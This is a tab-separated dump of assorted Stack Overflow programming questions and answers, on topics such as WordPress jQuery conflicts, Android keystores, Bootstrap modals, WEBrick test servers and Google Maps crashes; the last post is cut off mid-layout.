2624787	0	jQuery version conflicts - how to manage? <p>I made a Wordpress Plugin which includes a jQuery file. Now I've got the problem, that people who use my plugin may have a different jQuery Version on their Wordpress Blogs, so what shall I do to manage that? My plugin often doesn't work with 'other' jQuery Versions.</p> <p>Maybe there is anyone who is addicted with the wordpress api. Maybe there are some hooks I didn't know (this is my first plugin). I will be pleased if these ones can have a short look in my sources: <a href="http://wordpress.org/extend/plugins/slide2comment/" rel="nofollow noreferrer">http://wordpress.org/extend/plugins/slide2comment/</a></p>
31823189	0	reloading media folder in wagtail <p>I'm trying to add images to the the cms. I can see how do do it through the cms. Is it possible to add them just by adding them to the media directory and reloading them. It would make it easier to manage as I could use the shell to move things around.</p>
31745369	0	calculate distance from beacon when user is moving in a vehicle <p>How to calculate distance using BLE beacons if the user is moving in a vehicle with 2-15kmph speed?Also,if the distance won't give me accurate results is there any other mechanism with the help of which I can calculate the nearest beacon.The default implementation does not give me proper results as there is a 20sec lag in distance estimates. Secondly,in which cases should ARMA filter be used.</p>
22456693	0	 <p>Most likely, the sequence of save and restore was incorrect. The table had attributes that shouldn't have been saved and should have been removed before saving. The restore has resulted in a database catalog on the new system with inconsistent elements.</p> <p>If not, then the next likelihood (and just about the only other possibility) is that the database catalog had inconsistencies already before the restore was done. Those could have been introduced by improper shutdowns or other actions.</p> <p>First step should be:</p> <pre><code>RCLDBXREF OPTION(*CHECK) </code></pre> <p>If problems are reported, run:</p> <pre><code>RCLDBXREF OPTION(*FIX) </code></pre> <p>If the system is too old for the RCLDBXREF command, use:</p> <pre><code>RCLSTG SELECT(*DBXREF) </code></pre> <p>No "*CHECK" option is available for the older version.</p> <p>Depending on size and complexity of your database, number of resynchronizations needed and general performance characteristics of your server, either of those can run from 10 minutes to a few hours. Most unexplained database catalog problems (other than those needing PTFs) can be cleared by either of those.</p> <p>The RCLDBXREF command is usually preferred, but some problems will require the RCLSTG alternative. Significant restrictions exist for RCLSTG, so be sure to read the command [Help].</p>
15714623	0	 <p>Location of your database is </p> <p>/data/data/YOUR_PACKAGE/databases/ab.db</p> <p>You can find it on Android manifest file. </p> <pre><code>&lt;manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="0.0" package="YOUR_PACKAGE" android:versionName="1.0"&gt; </code></pre>
20231612	0	 <p>In the construct method, you should do <code>$this-&gt;Result = $Result;</code> instead of <code>return $Result;</code>,</p> <p>then use <code>return $this-&gt;Result;</code> in <code>returnLucky()</code>.</p> <p>And you should avoid use variable like <code>$result</code> and <code>$Result</code>, which is confusing.</p>
1210335	0	Changing mouse-cursor on a html-page <p>I need a way of changing the mouse-cursor on a html-page. I know this can be done with css, but I need to be able to change it at runtime, like for instance having buttons on the page, and when they're clicked they change the cursor to a specific custom graphic. I think the best (or only?) way of doing this is through javascript? I hope there's a way of doing this nicely that will work on all of the major browsers. I would be very grateful if someone could help me with this.</p> <p>Thanks in advance</p>
4344060	0	 <p>This will hide the label while you have active MDI Children en show it again once there is no active child anymore.</p> <pre><code> private void Form1_MdiChildActivate(object sender, EventArgs e) { if (ActiveMdiChild != null) label1.SendToBack(); else label1.BringToFront(); } </code></pre> <p>I hope this helps.</p>
7978242	0	 <p>maybe this can help, i am using EasyPhp(instead of XAMPP) and zend's auto generated .htaccess and i have this in apache</p> <pre><code>NameVirtualHost 127.0.0.1:80 &lt;VirtualHost abc:80&gt; DocumentRoot "C:/www/www/abc/public" ServerName .local SetEnv APPLICATION_ENV development &lt;Directory "C:/www/www/abc/public"&gt; Options Indexes MultiViews FollowSymLinks AllowOverride All Order allow,deny Allow from all &lt;/Directory&gt; &lt;/VirtualHost&gt; </code></pre> <p>and this is what the directory look like</p> <pre><code> Directory di c:\www\www\abc [.] [..] .buildpath .project [.settings] .zfproject.xml [application] [cache] [data] [docs] [library] [public] [scripts] [tests] Directory di c:\www\www\abc\library [.] [..] [abc] [tcpdf] [Zend] [ZendX] </code></pre>
23766875	0	Laravel Forms without using Blade <p>Is it possible to build a laravel application without using Blade to create the forms? I write the application's code, and my designer takes care of all the visual elements/css. He uses Dreamweaver and other software to generate the forms. Now is it possible for me to use these forms as they are, and still use Laravel's methodologies like routing?</p> <p>The first place I'm stuck at is that I have a registration form, however it does not use blade and hence I am not entirely sure how to submit the form. Any help here is appreciated, I am here to learn!</p> <p>Some sample code from the form itself -</p> <pre><code>&lt;form data-abide&gt; &lt;div class="row"&gt; &lt;div class="large-6 columns"&gt; &lt;label&gt;First Name &lt;input type="text" name="first_name" placeholder="" pattern="alpha" maxlength="25" autofocus required /&gt; &lt;/label&gt; &lt;/div&gt; &lt;div class="large-6 columns"&gt; &lt;label&gt;Last Name &lt;input type="text" name="last_name" placeholder="" pattern="alpha" maxlength="25" required /&gt; &lt;/label&gt; &lt;/div&gt; &lt;/div&gt;&lt;!-- .row --&gt; &lt;div class="row"&gt; &lt;div class="large-12 columns"&gt; &lt;label&gt;Choose your username &lt;input type="text" name="username" placeholder="Only letters, numbers and periods please!" pattern="^[a-zA-Z][a-zA-Z0-9\.]{3,20}$" maxlength="45" required /&gt; &lt;/label&gt; &lt;small class="error"&gt;You can only use letters, numbers and periods. Your username must have at least 4 characters.&lt;/small&gt; &lt;/div&gt; &lt;/div&gt;&lt;!-- .row --&gt; &lt;div class="row"&gt; &lt;div class="large-12 columns"&gt; &lt;button class="button" type="submit"&gt;Sign up&lt;/button&gt; &lt;/div&gt; &lt;/div&gt;&lt;!-- .row --&gt; &lt;/form&gt; </code></pre>
1324669	0	 <p>I'm not following how your first line of code relates to the "Example". Could you describe the effect you're trying to achieve in words?</p> <p>Your first line reads:</p> <blockquote> <p>(1) Add the class <code>linksbelow</code> to all the <code>tr</code> elements that contain a <code>table.navitem</code> immediately after a <code>tr</code> that contains a <code>table.navheader</code> within <code>.Nav table</code></p> </blockquote> <p>And the example reads:</p> <blockquote> <p>(2) Add a class to any element that matches <code>.Nav table .navheader</code>. The classname is dependent on the result of (1). If the operation in (1) succeeded (presumably meaning if it matched any elements) then the classname should be <code>linksbelow</code>, otherwise <code>Nolinksbelow</code>.</p> </blockquote>
6093908	0	 <p>Instead of polling with epoll, since you're only waiting on one timer you can just check if it's expired by <code>read</code>ing it. The number of times it has expired will then be stored in the buffer that you're <code>read</code>ing into, or if it hasn't expired, the <code>read</code> will fail with the error EAGAIN.</p> <pre><code>// set up timer // ... uint64_t expirations; if ((read(timer_fd, &amp;expirations, sizeof(uint64_t))==-1) &amp;&amp; errno == EAGAIN) { printf("Timer has not expired yet.\n"); } else { printf("Timer has expired %llu times.\n", expirations); } </code></pre> <p>Note that you'll need to initialize <code>timer_fd</code> with the flag <code>TFD_NONBLOCK</code>, or else the <code>read</code> will block if it hasn't expired yet rather than fail, but you already do that.</p>
4645809	0	JPEG to JFIF conversion <p>I need to convert jpeg image to jfif format this is because i need to send MMS data. Can any one tell me how do convert it using java.</p>
21866826	0	Need Help Understanding Javascript Closure <p>I am learning about javascript closures and am having difficulty understanding the concept. If someone would be kind enough to guide me through this example, i.e., where inputs and outputs are going, I'd appreciate it.</p> <pre><code>var hidden = mystery(3); var jumble = mystery3(hidden); var result = jumble(2); function mystery ( input ){ var secret = 4; input+=2; function mystery2 ( multiplier ) { multiplier *= input; return secret * multiplier; } return mystery2; } function mystery3 ( param ){ function mystery4 ( bonus ){ return param(6) + bonus; } return mystery4; } results; </code></pre> <p>Thank you.</p>
21814724	0	 <p>Put the <code>filemanager</code> folder in your project folder</p> <pre><code>relative_urls:false, image_advtab: true , external_filemanager_path:"/yourprojectname/filemanager/", filemanager_title:"Filemanager" , external_plugins: { "filemanager" : "filemanager/plugin.min.js"} </code></pre>
31856049	0	 <blockquote> <p>The getElementsByClassName() method returns a collection of an element's child elements with the specified class name, as a NodeList object.</p> </blockquote> <p>You need to do this:</p> <pre><code>document.getElementsByClassName("aero")[0].innerHTML="&lt;span&gt;"+count+"&lt;/span&gt;"; </code></pre> <p>Refer <a href="http://www.w3schools.com/jsref/met_element_getelementsbyclassname.asp" rel="nofollow">getElementsByClassName() - W3</a></p>
4632673	0	 <p>I get that same result. But, if I inject a <code>setprecision</code>, I get the right value:</p> <pre><code>#include &lt;iostream&gt; #include &lt;iomanip&gt; #include &lt;cmath&gt; int main (void) { double x=2147483647.0; double y=sqrt(x); std::cout &lt;&lt; std::setprecision(10) &lt;&lt; y &lt;&lt; std::endl; return 0; } </code></pre> <p>gives me:</p> <pre><code>46340.95 </code></pre> <p>In fact, if you use the folowing code:</p> <pre><code>#include &lt;iostream&gt; #include &lt;iomanip&gt; #include &lt;cmath&gt; int main (void) { double x=2147483647.0; double y=sqrt(x); std::cout &lt;&lt; y &lt;&lt; std::endl; std::cout &lt;&lt; std::setprecision(0) &lt;&lt; std::fixed &lt;&lt; y &lt;&lt; std::endl; std::cout &lt;&lt; std::setprecision(1) &lt;&lt; std::fixed &lt;&lt; y &lt;&lt; std::endl; std::cout &lt;&lt; std::setprecision(2) &lt;&lt; std::fixed &lt;&lt; y &lt;&lt; std::endl; std::cout &lt;&lt; std::setprecision(3) &lt;&lt; std::fixed &lt;&lt; y &lt;&lt; std::endl; return 0; } </code></pre> <p>you get:</p> <pre><code>46341 46341 46341.0 46340.95 46340.950 </code></pre> <p>So it appears that the default setting (at least for my environment) is a precision of zero.</p> <p>If you <em>want</em> a specific format, I suggest you explicitly request it.</p>
1678730	0	 <p>Create a form, stick a textbox and an "OK" button on it, create a public property which contains the textbox's contents you can access afterwards.</p>
19642124	0	 <p>InAppSettingsKit comes with an extension that allows you to do exactly this.</p> <p>Check the <a href="https://github.com/futuretap/InAppSettingsKit#custom-viewcontrollers" rel="nofollow">Custom ViewControllers</a> section in the Readme. Of course this works only within the app, not in the settings app. There are several option to differentiate the settings plists between Settings.app and in-App. See "<a href="https://github.com/futuretap/InAppSettingsKit#custom-inapp-plists" rel="nofollow">Custom inApp plists</a>".</p>
22262694	0	How to extend a users session server side? <p>I'm using SimpleMembership with ASP.NEt MVC.</p> <p>I have a session time out of 30 minutes, on a sliding scale.</p> <p>There are times that I would like to reset the timer for say user 105, without them clicking on a link, with server side logic. Is there a way I can reset a users session timer with server side code?</p>
29718076	0	 <p>Using Debug key store including android's debug.keystore present in .android folder was generating a strange problem; the log-in using facebook login button on android app would happen perfectly as desired for the first time. But when ever I Logged out and tried logging in, it would throw up an error saying: This app has no android key hashes configured. Please go to http:// .... </p> <p>Creating a Keystore using keytool command(keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -sigalg SHA1withRSA -keysize 2048 -validity 10000) and putting this keystore in my projects topmost parent folder and making a following entry in projects build.gradle file solved the issue:</p> <pre><code> signingConfigs { release { storeFile file("my-release-key.keystore") storePassword "passpass" keyAlias "alias_name" keyPassword "passpass" } } </code></pre> <p>Please note that you always use the following method inside onCreate() of your android activity to get the key hash value(to register in developer.facebook.com site of your app) instead of using command line to generate hash value as command line in some cased may out put a wrong key hash:</p> <pre><code> public void showHashKey(Context context) { try { PackageInfo info = context.getPackageManager().getPackageInfo("com.superreceptionist", PackageManager.GET_SIGNATURES); for (android.content.pm.Signature signature : info.signatures) { MessageDigest md = MessageDigest.getInstance("SHA"); md.update(signature.toByteArray()); String sign=Base64.encodeToString(md.digest(), Base64.DEFAULT); Log.e("KeyHash:", sign); // Toast.makeText(getApplicationContext(),sign, Toast.LENGTH_LONG).show(); } Log.d("KeyHash:", "****------------***"); } catch (PackageManager.NameNotFoundException e) { e.printStackTrace(); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); } } </code></pre>
10974953	0	XCode Storyboard - View appearing in Landscape? <p>Building an application which started as fairly simple, but now got pretty complicated. I am facing a strange problem. I am now using only storyboards to define all of my views. The problem I am facing is, some view-controllers in storyboard are appearing in Landscape mode and others in Portrait mode.</p> <p>I know it won't make a difference in final application, but it is making it hard for me to design and visualize things. Has someone else faced this problem?</p>
17567401	0	How to stop when a condition in if statement is satisfied, when debugging <p>How to stop when a condition in if statement is satisfied, when debugging? For example:</p> <pre><code>if (!check()) { int a = 0; } </code></pre> <p>The int a = 0; is dummy code and then I put a breakpoint there. If I put a breakpoint inside an empty if loop the debugger won't stop there, it only stops at instructions it can execute. Even if you do int a; just a declaration it won't stop.</p> <p>Can I do this in other way rather than writing dummy code?</p> <p>Thanks</p>
4030649	0	 <p>Drupal help you build fast, and it looks like promising but fails to fullfil the needs of client, designer also programmer. You need to write one module page, and some functions. </p> <p>5th solution you gave has little trouble than others. Write a function that to have "teaser like" behavior, I will return formatted node according to its type. Don't lay on drupal's teaser system. If teasers will have different heights, add height to teaser function. </p>
2503071	0	How to Implement Loose Coupling with a SOA Architecture <p>I've been doing a lot of research lately about SOA and ESB's etc. </p> <p>I'm working on redesigning some legacy systems at work now and would like to build it with more of a SOA architecture than it currently has. We use these services in about 5 of our websites and one of the biggest problems we have right now with our legacy system is that almost all the time when we make bug fixes or updates we need to re-deploy our 5 websites which can be a quite time consuming process. </p> <p>My goal is to make the interfaces between services loosely coupled so that changes can be made without having to re-deploy all the dependent services and websites.</p> <p>I need the ability to extend an already existing service interface without breaking or updating any of its dependencies. Have any of you encountered this problem before? How did you solve it?</p>
39361547	0	Modal is unresponsive and locks everything on screen <p>I'm trying to make a modal for the logging the user in. However, when my modal pops up, everything (including the modal itself is getting faded or greyed out). I'm unable to click on anything be it the background or the buttons on the modal. Usually, I should be able to dismiss the modal by clicking elsewhere or on the close button of the modal. But now, I'm unable to close it by any means. I have to reload the page to close the modal.</p> <p>Two scripts which I had to load to get the modal working at all:</p> <pre><code>&lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"&gt;&lt;/script&gt; &lt;script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"&gt;&lt;/script&gt; </code></pre> <p>Here's my modal code:</p> <pre><code> &lt;div class="modal fade" id="myModal" role="dialog"&gt; &lt;div class="modal-dialog"&gt; &lt;!-- Modal content--&gt; &lt;div class="modal-content" style="z-index:99999999;"&gt; &lt;div class="modal-header"&gt; &lt;button type="button" class="close" data-dismiss="modal"&gt;&amp;times;&lt;/button&gt; &lt;h4 class="modal-title"&gt;Modal Header&lt;/h4&gt; &lt;/div&gt; &lt;div class="modal-body"&gt; &lt;p&gt;Some text in the modal.&lt;/p&gt; &lt;/div&gt; &lt;div class="modal-footer"&gt; &lt;button type="button" class="btn btn-default" data-dismiss="modal"&gt;Close&lt;/button&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>Here's the link that calls the modal: </p> <pre><code>&lt;div id="fh5co-page"&gt; &lt;header id="fh5co-header" role="banner" style="Border-bottom:solid;position:fixed;border-width:1px;background-color:rgba(127,127,127,0.85);"&gt; &lt;div class="container"&gt; &lt;div class="header-inner"&gt; &lt;a href="#"&gt;&lt;img alt="XYZ" class="img-responsive" src="{% static 'assets/images/XYZimage.png' %}" style="float:left;height:70px;width:180px;"&gt;&lt;/a&gt; &lt;nav role="navigation" style="float:right;margin-top:4%;"&gt; &lt;ul&gt; &lt;li&gt;&lt;a href="about.html"&gt;View Packages&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="about.html"&gt;Try a test!&lt;/a&gt;&lt;/li&gt; &lt;li class="cta"&gt;&lt;a href="#" data-toggle="modal" data-target="#myModal"&gt;Open Modal&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/nav&gt; &lt;div style="clear:both;"&gt;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/header&gt; </code></pre> <p>What needs to change here? Please help! Thanks!</p> <p>Screenshot:<a href="https://i.stack.imgur.com/qY1eR.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/qY1eR.png" alt="enter image description here"></a></p> <p>CSS code for class cta, header-inner, fh5co-header, and fh5co-page:</p> <pre><code>#fh5co-header nav ul li.cta { margin-left: 20px; } #fh5co-header nav ul li.cta a { padding-left: 16px !important; padding-right: 16px !important; padding-top: 7px !important; padding-bottom: 7px !important; border: 2px solid rgba(255, 255, 255, 0.7); -webkit-border-radius: 30px; -moz-border-radius: 30px; -ms-border-radius: 30px; border-radius: 30px; } #fh5co-header nav ul li.cta a:hover { background: #fff; color: #00B906; } #fh5co-header nav ul li.cta a:hover:after { display: none; } #fh5co-offcanvas ul li.cta { margin-left: 0; margin-top: 20px; display: block; float: left; } #fh5co-offcanvas ul li.cta a { padding-left: 16px !important; padding-right: 16px !important; padding-top: 7px !important; padding-bottom: 7px !important; border: 2px solid rgba(255, 255, 255, 0.7); -webkit-border-radius: 30px; -moz-border-radius: 30px; -ms-border-radius: 30px; border-radius: 30px; } #fh5co-offcanvas ul li.cta a:hover { background: #fff; text-decoration: none; } #fh5co-offcanvas ul li.cta a:hover:after { display: none; } #fh5co-page { position: relative; z-index: 2; background: #fff; } #fh5co-offcanvas, .fh5co-nav-toggle, #fh5co-page { -webkit-transition: 0.5s; -o-transition: 0.5s; transition: 0.5s; } #fh5co-offcanvas, .fh5co-nav-toggle, #fh5co-page { position: relative; } #fh5co-page { z-index: 2; -webkit-transition: 0.5s; -o-transition: 0.5s; transition: 0.5s; } .offcanvas-visible #fh5co-page { -moz-transform: translateX(-275px); -webkit-transform: translateX(-275px); -ms-transform: translateX(-275px); -o-transform: translateX(-275px); transform: translateX(-275px); } #fh5co-header { position: absolute; z-index: 1001; width: 100%; margin: 10px 0 0 0; } @media screen and (max-width: 768px) { #fh5co-header { margin: 0px 0 0 0; } } #fh5co-header .header-inner { height: 70px; /* padding-left: 20px; padding-right: 20px; */ float: left; width: 100%; -webkit-border-radius: 7px; -moz-border-radius: 7px; -ms-border-radius: 7px; border-radius: 7px; } #fh5co-header h1 { float: left; padding: 0; font-weight: 700; line-height: 0; font-size: 30px; } #fh5co-header h1 a { color: white; } #fh5co-header h1 a &gt; span { color: #00B906; } #fh5co-header h1 a:hover, #fh5co-header h1 a:active, #fh5co-header h1 a:focus { text-decoration: none; outline: none; } #fh5co-header h1, #fh5co-header nav { /* margin: 38px 0 0 0; */ margin: 0 0 0 0; } #fh5co-header nav { float: right; padding: 0; } @media screen and (max-width: 768px) { #fh5co-header nav { display: none; } } #fh5co-header nav ul { padding: 0; margin: 0 -0px 0 0; line-height: 0; } #fh5co-header nav ul li { padding: 0; margin: 0; list-style: none; display: -moz-inline-stack; display: inline-block; zoom: 1; *display: inline; } #fh5co-header nav ul li a { color: rgba(255, 255, 255, 0.7); font-size: 18px; padding: 10px; position: relative; -webkit-transition: 0.2s; -o-transition: 0.2s; transition: 0.2s; } #fh5co-header nav ul li a i { line-height: 0; font-size: 20px; position: relative; top: 3px; } #fh5co-header nav ul li a:after { content: ""; position: absolute; height: 2px; bottom: 7px; left: 10px; right: 10px; background-color: #fff; visibility: hidden; -webkit-transform: scaleX(0); -moz-transform: scaleX(0); -ms-transform: scaleX(0); -o-transform: scaleX(0); transform: scaleX(0); -webkit-transition: all 0.3s cubic-bezier(0.175, 0.885, 0.32, 1.275); -moz-transition: all 0.3s cubic-bezier(0.175, 0.885, 0.32, 1.275); -ms-transition: all 0.3s cubic-bezier(0.175, 0.885, 0.32, 1.275); -o-transition: all 0.3s cubic-bezier(0.175, 0.885, 0.32, 1.275); transition: all 0.3s cubic-bezier(0.175, 0.885, 0.32, 1.275); } #fh5co-header nav ul li a:hover { text-decoration: none; color: white; } #fh5co-header nav ul li a:hover:after { visibility: visible; -webkit-transform: scaleX(1); -moz-transform: scaleX(1); -ms-transform: scaleX(1); -o-transform: scaleX(1); transform: scaleX(1); } #fh5co-header nav ul li a:active, #fh5co-header nav ul li a:focus { outline: none; text-decoration: none; } #fh5co-header nav ul li.cta { margin-left: 20px; } #fh5co-header nav ul li.cta a { padding-left: 16px !important; padding-right: 16px !important; padding-top: 7px !important; padding-bottom: 7px !important; border: 2px solid rgba(255, 255, 255, 0.7); -webkit-border-radius: 30px; -moz-border-radius: 30px; -ms-border-radius: 30px; border-radius: 30px; } #fh5co-header nav ul li.cta a:hover { background: #fff; color: #00B906; } #fh5co-header nav ul li.cta a:hover:after { display: none; } #fh5co-header nav ul li.active a { text-decoration: none; color: white; } #fh5co-header nav ul li.active a:after { visibility: visible; -webkit-transform: scaleX(1); -moz-transform: scaleX(1); -ms-transform: scaleX(1); -o-transform: scaleX(1); transform: scaleX(1); } </code></pre> <p>Screenshot of Modal with Z-index higher than page header element: <a href="https://i.stack.imgur.com/L9Cl5.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/L9Cl5.png" alt="enter image description here"></a></p> <p>Screenshot of Modal with Z-index lower than page header: <a href="https://i.stack.imgur.com/MXTwc.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/MXTwc.png" alt="enter image description here"></a></p>
19768210	0	 <p>Since no one else has taken a stab at it, I'll present my understanding of the problem (disclaimer: I'm not an expert on reinforced learning and I'm posting this as an answer because it's too long to be a comment)</p> <p>Think of it this way: when starting at, for example, node d, a random walker has a 50% chance to jump to either node e or node a. Each such jump reduces the reward (r) with the multiplier y (gamma in the picture). You continue jumping around until you get to the target node (f in this case), after which you collect the reward r.</p> <p>If I've understood correctly, the two smaller 3x2 squares represent the expected values of reward when starting from each node. Now, it's obvious why in the first 3x2 square every node has a value of 100: because y = 1, the reward never decreases. You can just keep jumping around until you eventually end up in the reward node, and gather the reward of r=100.</p> <p>However, in the second 3x2 square, with every jump the reward is decreased with a multiplier of 0.9. So, to get the expected value of reward when starting from square c, you sum together the reward you get from different paths, multiplied by their probabilities. Going from c to f has a chance of 50% and it's 1 jump, so you get r = 0.5*0.9^0*100 = 50. Then there's the path c-b-e-f: 0.5*(1/3)*(1/3)*0.9^2*100 = 4.5. Then there's c-b-c-f: 0.9^2*0.5^2*(1/3)^1*100 = 6.75. You keep going this way until the reward from the path you're examining is insignificantly small, and sum together the rewards from all the paths. This should give you the result of the corresponding node, that is, 50+6.75+4.5+... = 76.</p> <p>I guess the programmatic way of doing to would be to use a modified dfs/bfs to explore all the paths of length N or less, and sum together the rewards from those paths (N chosen so that 0.9^N is small).</p> <p>Again, take this with a grain of salt; I'm not an expert on reinforced learning.</p>
33929762	0	 <p>I found that the Invoice resource was returning a type which ng-tables doesn't like. ng-tables version 0.4.3 expects a $defer object to be returned, so I had to wrap my query in a defer.resolve. Now it works.</p> <pre><code> $defer.resolve( Invoice.query params.url(), (data) -&gt; orderedData = (if params.sorting then $filter('orderBy')(data, params.orderBy()) else data) # Sort return orderedData ) </code></pre>
8851511	0	Synchronize threads to the WEBrick server start <p>I am trying to start a small WEBrick server to mock a real API, to test a Ruby http client I am developing. I am using a modified solution of the one based in <a href="http://dynamicorange.com/2009/02/18/ruby-mock-web-server/#comment-4546" rel="nofollow">this</a> blog comment.</p> <p>It works fine, but the problem is that each time the server starts, the parent thread has to wait an arbitrary amount of time for the server to load. And after adding several tests it gets really slow.</p> <p>So my question is: <strong>is there a way to synchronize the parent thread to continue right after the server thread has finished starting WEBRick?</strong></p> <p>I tried looking at the WEBrick reference, searched the web and even had a look in the WEBrick code, but I got nothing I could use without some really nasty monkey patching.</p> <p>I'm open to other approaches to the problem, but I would like to keep it as dependency-free to gems and libraries as possible. Also, the solutions <strong>must</strong> run in <strong>Ruby 1.9.2</strong>, on <strong>Linux</strong>.</p> <p>Thanks in advance for the answers!</p> <pre><code>require "rack" class ApiMockServer def initialize(port = 4000, pause = 1) @block = nil @parent_thread = Thread.current @thread = Thread.new do Rack::Handler::WEBrick.run(self, :Port =&gt; port, :Host =&gt; "127.0.0.1") end sleep pause # give the server time to fire up… YUK! end def stop Thread.kill(@thread) end def attach(&amp;block) @block = block end def detach() @block = nil end def call(env) begin unless @block raise "Specify a handler for the request using attach(block). The " + "block should return a valid rack response and can test expectations" end @block.call(env) rescue Exception =&gt; e @parent_thread.raise e [ 500, { 'Content-Type' =&gt; 'text/plain', 'Content-Length' =&gt; '13' }, [ 'Bad test code' ]] end end end </code></pre>
4791400	0	 <p>You could add a variable to indicate when an animation is active and don't allow another one to start, if the previous one hasn't finished.</p> <pre><code>var isAnimating = false; $(function () { $('#dropMenu .level1 .submenu.submenu').hover(function() { if (!isAnimating) { $(this).find('ul.level2,.level3 li,.level4 li,.level5 li,.level6 li').stop(true, true).hide(1000); $(this).find('ul.level2,.level3 li,.level4 li,.level5 li,.level6 li').stop(true, true).show(1000); isAnimating = true; } }, function() { $(this).find('ul.level2,.level3 li,.level4 li,.level5 li,.level6 li').stop(true, true).show(1000); $(this).find('ul.level2,.level3 li,.level4 li,.level5 li,.level6 li').stop(true, true).hide(1000); isAnimating = false; });}); </code></pre>
5186492	0	Registering Custom WMI C# class/event <p>I have a project with a class that extend a WMI event and used to publish data through WMI. the class look like this (just few rows of the entire class):</p> <pre><code>[InstrumentationClass(InstrumentationType.Instance)] public class PointInstrumentation { private bool enabled = true; // static data public string UserName { get; set; } public string EffectiveUserName { get; set; } public string Environment { get; set; } public string Universe { get; set; } public int AppProcessId { get; set; } public string ProcessName { get; set; } public string AppHostName { get; set; } public string Keyword { get; set; } public string Version { get; set; } public string OrbAddress { get; set; } public string ApiVersion { get; set; } </code></pre> <p>..</p> <pre><code> public void Publish() { System.Management.Instrumentation.Instrumentation.Publish(this); </code></pre> <p>..</p> <p>as you can see, its extends using attribute declation "[InstrumentationClass(InstrumentationType.Instance)]"</p> <p>my issue is that when i register the dll, i don't see PointInstrumentation class in the WMI explorer, hence, i can't query what is being published.</p> <p>Can anyone please explain me what am i doing wrong and what the appropriate way to register WMI (c#) classes.</p> <p>Thanks</p>
30670329	0	 <p>The problem is that <code>use</code> paths are <em>absolute, not relative</em>. When you say <code>use A;</code> what you are actually saying is "use the symbol <code>A</code> in the root module of this crate", which would be <code>lib.rs</code>.</p> <p>What you need to use is <code>use super::A;</code>, that or the full path: <code>use foo::A;</code>.</p> <p>I wrote up a an article on <a href="https://gist.github.com/DanielKeep/470f4e114d28cd0c8d43">Rust's module system and how paths work</a> that might help clear this up if the <a href="http://doc.rust-lang.org/book/crates-and-modules.html">Rust Book chapter on Crates and Modules</a> doesn't.</p>
20872934	0	 <p>ASCII code of <code>'2'</code> is 50, and so on.</p>
10104861	0	The “System Roots” keychain cannot be modified <p>I have created the certificate and drop to Keychain Access for testing the application in ios device.This worked fine ,but i have one problem ,i am export the certificate from keychain Access for phonegap application.Now the keychain Access showing a warning ("The “System Roots” keychain cannot be modified.") while i am dragging Development Push SSL Certificate to Keychain Access and the old Development Provisioning Profiles do not working now .The ios application with old Development Provisioning Profiles give an error "Command /usr/bin/codesign failed with exit code 1"</p> <p>How can avoid this issue?</p> <p>if anybody know please help me.</p>
27876649	0	 <p>The error line is the last line of your <code>models.py</code>:</p> <pre><code>votes = models.IntegerField(default= </code></pre> <p>It should be:</p> <pre><code>votes = models.IntegerField(default=0) </code></pre>
22311005	0	Android Google Map V2 - "unfortunately App has stopped" <p>I'm trying to display google map on my android app when user click on a button. when I click the button the app stops.No error in the code. I believe I've done everything right 1-I got the API KEY</p> <p>2-I added the Google_Play_Services_lib.jar to the dependencies folder</p> <p>3-added extra support tool</p> <p>4-included the permissions,my key to the manifest</p> <p>5-added fragment to my xml layout fie for the map</p> <p>please help I feel like I've read and watched every tutorial there is...nothing worked!</p> <p>My Log: </p> <pre><code>03-10 20:27:10.057: I/Process(17287): Sending signal. PID: 17287 SIG: 9 03-10 20:27:15.072: D/libEGL(17688): loaded /vendor/lib/egl/libEGL_adreno.so 03-10 20:27:15.072: D/libEGL(17688): loaded /vendor/lib/egl/libGLESv1_CM_adreno.so 03-10 20:27:15.082: D/libEGL(17688): loaded /vendor/lib/egl/libGLESv2_adreno.so 03-10 20:27:15.082: I/Adreno-EGL(17688): &lt;qeglDrvAPI_eglInitialize:316&gt;: EGL 1.4 QUALCOMM build: (CL4169980) 03-10 20:27:15.082: I/Adreno-EGL(17688): OpenGL ES Shader Compiler Version: 17.01.10.SPL 03-10 20:27:15.082: I/Adreno-EGL(17688): Build Date: 09/26/13 Thu 03-10 20:27:15.082: I/Adreno-EGL(17688): Local Branch: 03-10 20:27:15.082: I/Adreno-EGL(17688): Remote Branch: 03-10 20:27:15.082: I/Adreno-EGL(17688): Local Patches: 03-10 20:27:15.082: I/Adreno-EGL(17688): Reconstruct Branch: 03-10 20:27:15.122: D/OpenGLRenderer(17688): Enabling debug mode 0 03-10 20:27:16.683: D/AndroidRuntime(17688): Shutting down VM 03-10 20:27:16.683: W/dalvikvm(17688): threadid=1: thread exiting with uncaught exception (group=0x41931898) 03-10 20:27:16.693: E/AndroidRuntime(17688): FATAL EXCEPTION: main 03-10 20:27:16.693: E/AndroidRuntime(17688): java.lang.RuntimeException: Unable to start activity ComponentInfo{com.example.newandroid/com.example.newandroid.Mymap}: android.view.InflateException: Binary XML file line #7: Error inflating class fragment 03-10 20:27:16.693: E/AndroidRuntime(17688): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2295) 03-10 20:27:16.693: E/AndroidRuntime(17688): at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2349) 03-10 20:27:16.693: E/AndroidRuntime(17688): at android.app.ActivityThread.access$700(ActivityThread.java:159) </code></pre> <p>My code for Mymap activity p</p> <pre><code>ackage com.example.newandroid; import android.os.Bundle; //import android.app.Activity; import android.support.v4.app.FragmentActivity; public class Mymap extends FragmentActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_mymap); } } </code></pre> <p>My layout </p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" &gt; &lt;fragment android:name="com.google.android.gms.maps.SupportMapFragment" 